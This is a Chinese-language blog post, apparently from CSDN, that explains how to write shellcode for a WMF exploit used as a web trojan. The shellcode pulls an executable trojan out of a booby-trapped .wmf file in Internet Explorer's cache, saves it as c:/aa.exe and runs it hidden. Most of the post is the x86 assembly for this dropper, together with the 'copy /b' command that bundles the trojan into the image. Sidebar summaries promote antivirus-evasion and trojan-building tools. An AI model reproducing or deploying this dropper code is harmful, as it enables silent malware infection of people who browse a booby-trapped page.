能够生成木马的ShellCode

shellcode基础-Linux木马构造流程 编写Linux木马流程 阅读详情
最近一个朋友在WMF漏洞利用的ShellCode编写上遇到了麻烦:他需要编写的ShellCode功能是这样的:将绑定在.wmf文件中的.exe文件提取、生成并自动执行。经过一整天的努力这个问题基本部分解决了,但仍然存在一点疑惑,正好写下本文和大家讨论。
基础知识
讨论ShellCode之前,需要掌握两个基础知识:
1
、.exe文件已经绑定到了.wmf文件中。怎么绑定呢?通过copy命令:"copy /b old.wmf+aa.exe new.wmf"即可完成,大家可以马上试试。
2
、 绑定木马之后的.wmf其实是与html文件一起作为网页木马来应用的。因此,用户通过IE打开畸形的new.wmf文件之前,会先将该文件连同html 文件一起下载到系统的IE临时文件夹TIF(Temporary Internet Files)中。TIF是个隐藏文件夹,位于"Documents and Settings/Administrator/Local "显示所有文件和文件夹",然后进入该目à"隐藏文件和文件夹"à "查看"à"文件夹选项"àSettings"下。为了便于理解,大家可先设置"工具" 录查看。TIF目录下可以看到很多文件,但实际上它们都只是真正文件的连接而已。真正的IE临时文件位于"TIF/Content.IE5"下,本例中的 new.wmf,位于本机的"Temporary Internet Files/Content.IE5/83SB61Q9"目录中。注意,Content.IE5及其中的文件或文件夹只有从资源管理器中才能看到,每个文 件名都多了一个"[1]",如new[1].wmf。
OK
,有了基础知识,接下来我们看看ShellCode的设计思路。
ShellCode
设计思路
做任何事情之前整理好思路都很重要,本文要求的ShellCode设计思路大致如下:
1
、 查找ShellCode可用到的各API函数地址。
2
、 找到临时文件new[1].wmf的绝对路径,通过CreateFileA函数打开该文件,并创建文件aa.exe。
3
、 通过SetFilePointer函数让new[1].wmf 文件指针指向aa.exe文件数据开始的地方,即指向"MZ"。
4
、 循环从new[1].wmf中读取数据写入aa.exe。
5
、 执行生成的aa.exe。
过程并不复杂,关键是细心,接下来大家看看汇编实现,在Windows 2000 SP4+VC6下编译通过。
汇编实现及待改进的问题
1
、API函数地址。最好在画流程图的时候就确定有哪些API函数会用到,并进行合理的内存规划.
其中,GetProcAddress这个函数地址最重要,查找代码已经多次介绍了,大家可以参考。其余函数查找的部分代码如下:
mov [ebp+2Ch], eax //GetProcAddress

//
查找GetTempPathA地址
mov dword ptr [ebp], 'TteG'
mov dword ptr [ebp + 4], 'Ppme'
mov dword ptr [ebp + 8], 'Ahta'
mov byte ptr [ebp + 0xc], 0
push ebp //
函数名地址作为参数压入栈(下同)
push ebx //Kernel32.dll
地址(下同)
call [ebp+2Ch] //
函数返回后eax就是GetTempPathA的地址
mov dword ptr[ebp+28h], eax //
保存函数地址(下同)

//CreateFileA
地址
mov dword ptr [ebp], 'aerC'
mov dword ptr [ebp + 4], 'iFet'
mov dword ptr [ebp + 8], 'Ael'
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是CreateFileA的地址
mov dword ptr[ebp+24h], eax

//SetFilePointer
地址
mov dword ptr [ebp], 'FteS'
mov dword ptr [ebp + 4], 'Peli'
mov dword ptr [ebp + 8], 'tnio'
mov dword ptr [ebp + 0xC], 're'
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是SetFilePointer的地址
mov dword ptr[ebp+20h], eax

//
查找ReadFile和WriteFile函数地址
mov dword ptr [ebp], 'daeR'
mov dword ptr [ebp + 4], 'eliF'
mov byte ptr [ebp + 8], 0
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是ReadFile的地址
mov dword ptr[ebp+1Ch], eax

//ReadFile
和WriteFile地址
mov dword ptr [ebp], ' daeR'
mov dword ptr [ebp + 4], 'eliF'
mov byte ptr [ebp + 8], 0
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是ReadFile的地址
mov dword ptr[ebp+1Ch], eax
mov dword ptr [ebp], 'tirW'
mov dword ptr [ebp + 4], 'liFe'
mov word ptr [ebp + 8], 'e'
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是WriteFile的地址
mov dword ptr[ebp+18h], eax

//WinExec
地址
mov dword ptr [ebp], 'EniW'
mov dword ptr [ebp + 4], 'cex'
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是WinExec的地址
mov dword ptr[ebp+14h], eax

//CloseHandle
地址
mov dword ptr [ebp], 'solC'
mov dword ptr [ebp + 4], 'naHe'
mov dword ptr [ebp + 8], 'eld'
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是CloseHandle的地址
mov dword ptr[ebp+38h], eax

//ExitThread
地址
mov dword ptr [ebp], 'tixE'
mov dword ptr [ebp + 4], 'erhT'
mov dword ptr [ebp + 8], 'da'
push ebp
push ebx
call [ebp+2Ch] //
函数返回后eax就是ExitThread的地址
mov dword ptr[ebp+3Ch], eax

2
、找到临时文件new[1].wmf的绝对路径,通过CreateFileA函数打开该文件,通过GetTempPathA函数可找到系统临时文件夹、按照前面的基础知识,我们可以进一步找到new[1].wmf的绝对路径。部分代码如下:
//
留出空间以备将来存放长的数据
sub esp, 0x800
mov esi, esp
add esi, 4
sub esp,0x100
mov ebx,esp
add ebx,4

//
调用GetTempPathA,获取系统临时文件夹
push ebx
push 64h
call dword ptr[ebp + 28h]
xor ecx,ecx
xor ecx,ecx
comp:
inc ecx
cmp byte ptr[ebx+ecx], 0x00
jnz comp

dec ecx
//
将路径中的"temp" 替换为"temporary Internet Files/Content.IE5/83SB61Q9/new[1].wmf"
mov dword ptr[ebx+ecx],'raro'
mov dword ptr[ebx+ecx+4],'nI y'
mov dword ptr[ebx+ecx+8],'nret'
mov dword ptr[ebx+ecx+12],'F te'
mov dword ptr[ebx+ecx+16],'seli'
mov byte ptr[ebx+ecx+20], 0x5c // '/'
mov dword ptr[ebx+ecx+21], 'tnoC'
mov dword ptr[ebx+ecx+25], '.tne'
mov dword ptr[ebx+ecx+29], '55EI'
mov byte ptr[ebx+ecx+32], 0x5c //'/'
mov dword ptr[ebx+ecx+33], 'BS38'
mov dword ptr[ebx+ecx+37], '9Q16'
mov byte ptr[ebx+ecx+41], 0x5c
mov dword ptr[ebx+ecx+42], '[wen' //new[1].wmf
mov dword ptr[ebx+ecx+46], 'w.]1'
mov dword ptr[ebx+ecx+50], 'fm'

//
以读的方式打开new[1].wmf
push 0
push 0x80 //FILE_ATTRIBUTE_NORMAL
push 3 //OPEN_EXISTING
push 0
push 3 //FILE_SHARE_READ | FILE_SHARE_WRITE
push 0x80000000 //GENERIC_READ
push ebx
call dword ptr[ebp + 24h] //CreateFileA
cmp eax, 0
jle gameover //-1
则结束
mov dword ptr[ebp + 30h], eax //
保存wmf文件句柄

//
创建可执行文件c:/aa.exe
mov dword ptr[ebp], 0x615c3a63
mov dword ptr[ebp + 4], 'xe.a'
mov dword ptr[ebp + 8], 'e'
push 0
push 0 //FILE_ATTRIBUTE_NORMAL
push 2 //Create_ALWAYS
push 0
push 0
push 0x40000000 //GENERIC_WRITE
push ebp
call dword ptr[ebp + 24h] //CreateFileA
cmp eax, 0
jle gameover
mov dword ptr[ebp + 34h], eax //
保存exe文件句柄

3
、通过SetFilePointer函数让new[1].wmf文件指针指向aa.exe文件数据开始的地方。部分代码如下:
//SetFilePointer
设置文件偏移(exe文件位置)
push 0
push 0
push 0x527D //exe
文件数据开始处:21119
mov eax, dword ptr[ebp + 30h] //wmf
文件句柄
push eax
call dword ptr[ebp + 20h] //SetFilePointer

4
、循环从new[1].wmf中读取数据写入aa.exe。部分代码如下:
mov dword ptr[ebp + 40h], 0 //
保存每次实际读取的数据
mov dword ptr[ebp + 44h], 0 //
保存每次实际写入的数据
Read_Write_exe:
push 0
lea eax, dword ptr[ebp + 40h]
push eax
push 0x400 //
每次预定读取1024字节
push esi //
存放每次读取后数据的缓冲区地址
push dword ptr[ebp + 30h] //wmf
文件句柄
call dword ptr[ebp+1Ch] //ReadFile

push 0
lea eax, dword ptr[ebp + 44h] //
每次实际写入的数据字节数地址
push eax
push dword ptr[ebp + 40h]
push esi
push dword ptr[ebp + 34h] //exe
文件句柄
call dword ptr[ebp+18h] //WriteFile

//cmp byte ptr[ebx],1
//jz Read_Write_exe
cmp dword ptr[ebp + 44h], 0x400 //
判断是否读写完毕
jge Read_Write_exe

//
关闭wmf和exe文件句柄
push dword ptr[ebp+30h]
call dword ptr[ebp + 38h] //CloseHandle
push dword ptr[ebp+34h]
call dword ptr[ebp + 38h] //CloseHandle

5
、执行生成的aa.exe,并退出线程。部分代码如下:
push 0 //SW_HIDE
push ebp
call dword ptr[ebp + 14h] //Winexec
gameover:
//ExitThread
push 0
call dword ptr[ebp + 3Ch] //ExitThread

汇编代码就是这样,大家按照前面多期文章介绍的方法可以完成ShellCode的提取,这里就不罗嗦了。
最后还有一个问题,"Content.IE5/83SB61Q9"目录中的"83SB61Q9"是随机的,不同的机器有所区别。因此通用性问题是需要解决的,本文的侧重点是介绍实现的思路。
小结
本 文介绍了提取绑定在文件中(如.wmf)木马文件的ShellCode编写方法。提取绑定木马的ShellCode主要目的是以较短的ShellCode 完成较复杂的功能,实际的复杂功能都是由木马文件来完成。它和传统Down&exec的ShellCode相比,也很容易实现访问网络时突破防火 墙。 
 
从shellcode生成到内存加载:实战免杀木马的技术原理与防御策略 在网络安全领域,shellcode作为一段位置无关的机器码,是理解高级威胁攻击链的关键技术概念。其核心原理在于将恶意功能压缩为二进制指令,通过内存动态加载而非传统文件执行,从而绕过基于静态特征的检测。这种技术价值在于实现了攻击载荷的隐蔽投递,显著提升了对抗现代杀毒软件和终端检测系统的能力。在应用场景上,shellcode常被用于渗透测试、红队演练中模拟无文件攻击,通过进程注入、系统工具滥用等方式实现权限维持。本文聚焦于shellcode的生成、加密处理及免杀加载器编写,深入剖析了如何利用Metasploit 阅读详情

相关推荐

shellcode帮助工具,直接把exe转shellcode

Shellcode Helper v1.62 Coded by TeLeMan (c) 2008-2013 Usage: schelper.exe [options] Options: -i [input file] input file (Default: stdin) -o [output file] output file (Default: stdout) -s input file format (Default: Auto-Detection) -sb input file format is Binary -sp the input file format's parameters -d output file format (Default: C format) -db output file format is Binary -dp the output file format's parameters -search get the start offset by the pattern: e.g. PK\x03\x04 -soff fix the match offset after searching (Default: 0) -off convert the input file from the offset (Default: 0) -len convert the input file with the length (Default: 0 - MAX) -en [encoder] encode shellcode (Default: XorDword) -de [encoder] decode shellcode (Default: Auto-Detection) -ex exclude characters: e.g. 0x00,0x01-0x1F,0xFF (Default: 0x00) -in incude characters only -ep the encoder's parameters -t [pid] execute or inject shellcode into process for testing -td [pid] execute or inject shellcode into process for debugging -stack put shellcode into stack and execute it (ESP is the shellcode start) -noinfo display no normal messages except error messages Available formats: 0 - C 1 - C(HexArray) 2 - Perl 3 - Python 4 - Ruby 5 - JavaScript(Escape) 6 - VBScript(Escape) 7 - Pascal 8 - MASM(Data) 9 - HexDump 10 - BitString 11 - HexString 12 - HexArray(C like) 13 - Base64 14 - Binary 15 - HexString(C like) 16 - HexString(Escape) 17 - HexString(JavaScript,UNICODE) 18 - URI(ISO-8859-1) 19 - XML(PCDATA) 20 - BigNumber 21 - BigNumber(Hex) 22 - BigNumber(BaseX) 23 - FloatPoint 24 - UnixTimestamp 25 - GUID 26 - MASM(ASM) 27 - NASM 28 - YASM(ASM) 29 - FASM(ASM) 30 - JWASM(ASM) 31 - POASM(ASM) 32 - GOASM(ASM) 33 - GNU ASM Available encoders:

【免杀】木马免杀制作

免杀就是指能够使病毒木马逃避杀毒软件检测的一种技术。总体来讲,免杀分为静态免杀和动态免杀,静态免杀基于特征值,而动态免杀则是基于行为。这里我们讲Cobalt Strike生成Python木马,免杀绕过火绒。

网络安全从业者的学习笔记 3285

一款开源的ShellCode生成引擎

1.本工具只支持x86 coff格式的文件 2.全局变量记得初始化,测试的时候发现有事全局变量没有初始化会获取不到 3.关闭MSVC的全局优化,开启全局优化时OBJ中的信息无法获取 4.不要在代码中使用c++一些特性,类似异常等,测试类时发现基本的类是可以满足的不要使用c++的一些库,切记

木马免杀之利用shellcode生成木马

木马免杀之利用shellcode生成木马

没有网络安全就没有国家安全 1603

shcode2exe:从Windows或Linux将Shellcode编译为exe文件

shcode2exe(shellcode到exe) 从Windows或Linux将Shellcode编译为exe文件。 特征 可以接受shellcode blob或字符串(字符串格式\x5e\x31 ) 可以针对32位或64位Windows体系结构。 跨平台。 在Linux或Windows上均可使用。 在Linux上运行时不依赖Wine 经过测试可使用Python v3.3及更高版本 经过测试,可以在Windows 7(非SP1)及更高版本上运行 主要用于恶意软件分析,但也可以用于漏洞利用开发。 受启发。 依存关系 对于Linux,请通过软件包管理器安装上述依赖项。 $ sudo apt install nasm $ sudo apt install binutils 对于Windows,您可以从安装nasm。 对于链接器,可以通过安装获得ld.exe的64位版本。 作为替

shellcode转换工具

shellcode转换工具

如何获取shellcode

今天花了很多时间去找如何生成shellcode。目前知道的方法有 1、 直接获取(未验证) exploit database 可以看到很多OS的自带程序的shellcode,比如为windowsXP 计算器: 2、 发现了一个网站(是一位博主自己做的)可以直接导入.exe文件生成相应的shellcode,但是在我的windowsXP虚拟机里用不了,网站打不开,猜测是网络服务协议版本太低了。但在windows10主机上可以使用,正确性未测试。 在主机上随便找了个腾讯会议的.exe文件交上去,生.

weixin_50273439的博客 3208

告别零碎资料!手把手教你搞定ASTER L1T数据的预处理全流程(附ENVI实操)

本文详细介绍了ASTER L1T数据的预处理全流程,包括数据获取、质量检查、ENVI实操步骤(辐射定标、大气校正、几何精校正)以及热红外波段深度处理。特别适合地信领域初学者和研究人员,帮助快速掌握ASTER L1T数据处理技巧,提升定量反演研究效率。

weixin_30385925的博客 356

怎么生成木马_免杀系列CS木马shellcode分离免杀上线

10月13日CS木马shellcode分离免杀上线最近在学习CS怎么去免杀,今天来分享一下吧,反正有手就行呗0x00Article directory [目录结构]0x01 环境介绍0x02 插件部署0x03 改造流程0x04 测试效果0x05总结0x01环境介绍本次免杀所使用的是shellcode分离免杀技术CS版本:4.0语言:Golang插件:项目地址:http://gith...

weixin_39970668的博客 3732

C#+Winform+OpenCvSharp实战:5步搞定工业视觉检测框架(附源码下载)

本文详细介绍了如何使用C#、Winform和OpenCvSharp构建工业视觉检测框架,通过5个关键步骤实现高效、稳定的视觉检测系统。内容涵盖环境配置、相机集成、核心算法实现、系统集成与通信,以及部署优化,帮助开发者快速掌握工业视觉检测技术,提升检测精度和效率。附完整源码下载,助力工业数字化转型。

pz89012345的博客 551

pta——特立独行的幸福

这是我认为比较复杂的一道题了,比较迷茫的点在于不知道要算各位平方和几次到不了1,才算他不是幸福数。突破口在于如果如果不是回到1也会有一些数字重复出现,只要重复出现的数字不是1,那就不是幸福数

m0_65620244的博客 4036

利用ShellCode生成木马

利用ShellCode生成木马

cooper的笔记本 788

深入理解Linux 内核追踪机制

Linux 存在众多 tracing tools,比如 ftrace、perf,他们可用于内核的调试、提高内核的可观测性。众多的工具也意味着繁杂的概念,诸如 tracepoint、trace events、kprobe、eBPF 等,甚至让人搞不清楚他们到底是干什么的。本文尝试理清这些概念。

youzhangjing_的博客 1732

内网渗透-ShellCode加载上线

然后将监听的Payload改为64位的,不然监听不到,然后开始运行pyth木on和run,木马上线成功。前面先引入ctypes这个库,然后加上我们生成的shellcode,最后加上这一段代码即可。我们也可以去确认一下18104是不是对应这个Python的进程。同样的方式我们可以来一下64位的Shellcode。然后使用下面的命令去生成一个shellcode。然后去查看生成的payload,生成的内容如下。进入到/home/kali/Muma目录中。接下来我使用老师的电脑进行实验。然后再使用64位的加载器。

zj2084的博客 373

Fluent验证案例03:管道中湍流流动压降计算——采用kw-sst模型计算压降更为准确。

阅读(4053) 评论(0)本案例利用Fluent计算管道中湍流流动压降。

qq_15963745的博客 878

[PCIE5.0] 2.2.8.9 Optimized Buffer Flush/Fill (OBFF) Message

这段文字讲解的是 优化的缓冲区清空/填充(OBFF)消息,它是 PCI Express(PCIe)规范中的一个可选功能,用于向设备报告平台中央资源的状态。简单来说,OBFF 主要帮助设备了解当前平台资源(如缓存或内存)的状态,从而优化数据的处理和传输。这章重点内容如下。

系统固件工程师 539

木马生成与注入:《APT Individual Combat Guide》Shellcode与DLL注入技术全解析

《APT Individual Combat Guide》是一份专注于高级持续性威胁(APT)对抗技术的开源指南,其中详细介绍了现代木马生成与注入技术,包括Shellcode开发、DLL注入及进程隐藏等核心攻击手段。本文将结合指南中的实战案例,从基础原理到进阶技巧,全面解析Shellcode与DLL注入技术的实现方法。 ## 一、Shellcode基础:从机器码到内存执行 🚀 Shellco

gitblog_00016的博客 732

Flow Matching03-01:微分方程【微分方程(描述变化规律的方程):包含未知函数和它的导数的方程】【公式解(精确)、数值解(逼近)】

好的,我将从数学角度详细解释Flow Matching,从高中生能理解的基础知识开始,逐步深入到高级概念。

u013250861的博客 221

有关木马免杀操作

木马免杀

lkx18291546261的博客 833

Cadence PSpice 仿真11:电感型低通滤波器最坏情况分析仿真实战图文教程

在进行蒙特卡罗分析时会将元器件的容差考虑进去,然后通过运行多次的随机仿真,得到电路输出的一个范围。但是多数情况下设计师关注的只是电路的最坏情况是否满足设计要求。PSpice的最坏情况分析是取在容差的边界点元件参数进行仿真以计算出电路输出的最坏情况。所以如果如果电路中有10个元件的话,需要先取10个元件的标准值仿真1次,然后再分别在10个元件的容差边界处各仿真1次,然后再对仿真结果进行统计和计算,再最坏情况下再仿真1次。

fydar的博客 1945

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

MsfVenom木马制作及使用

MsfVenom木马制作及使用

cooper的笔记本 1245

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

木马与免杀(2), msfvenom 工具, shellcode代码, shellcode加载器

Shellcode是一段用于利用软件漏洞而执行的代码,通常以16进制机器码形式编写,因为它经常让攻击者获得shell的名称[1]。Shellcode的主要目的是让攻击者的恶意代码在受害者的计算机上执行,从而实现对系统的控制或数据的修改、窃取或上传等目的。Shellcode的内容通常是一段可以在受害者的计算机上执行的机器代码,用于实现攻击者的目标。这段代码可以是出于恶作剧目的弹出一个消息框,也可以出于攻击目的的删改重要文件、窃取数据、上传木马病毒并运行,甚至是出于破坏目的格式化硬盘等。

探测??? 717

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

MsfVenom制作木马

p, --payload 指定需要使用的payload。使用自定义的payload,请使用-;或者stdin指定-l, --list 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all-n, --nopsled 为payload预先指定一个NOP滑动长度-f, --format 指定输出格式-e, --encoder 指定需要使用的编码器,如xor等。

weixin_58666006的博客 1495

meterpreter木马原理分析

本文主要分析meterpreter木马的原理,原理比较简单:首先会分配一段缓冲区,加载一段shellcode,在shellcode中调用win socket API与服务器端进行通信,下载一个反射型dll,在内存中加载,使用peb的方式来获取系统的api地址,C2的地址是以整数的方式存储在代码中。

好好学习,天天向上 1647

C2免杀--手工shellcode编译,shellcode免杀思路

手工编译shellcode,以及shellcode和加载器的总体免杀思路

2302_79590880的博客 1466
上一篇: MS07-034: Executing arbitrary script with mhtml: protocol handler
下一篇: Radmin的抓屏和显屏API代码部分分析
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值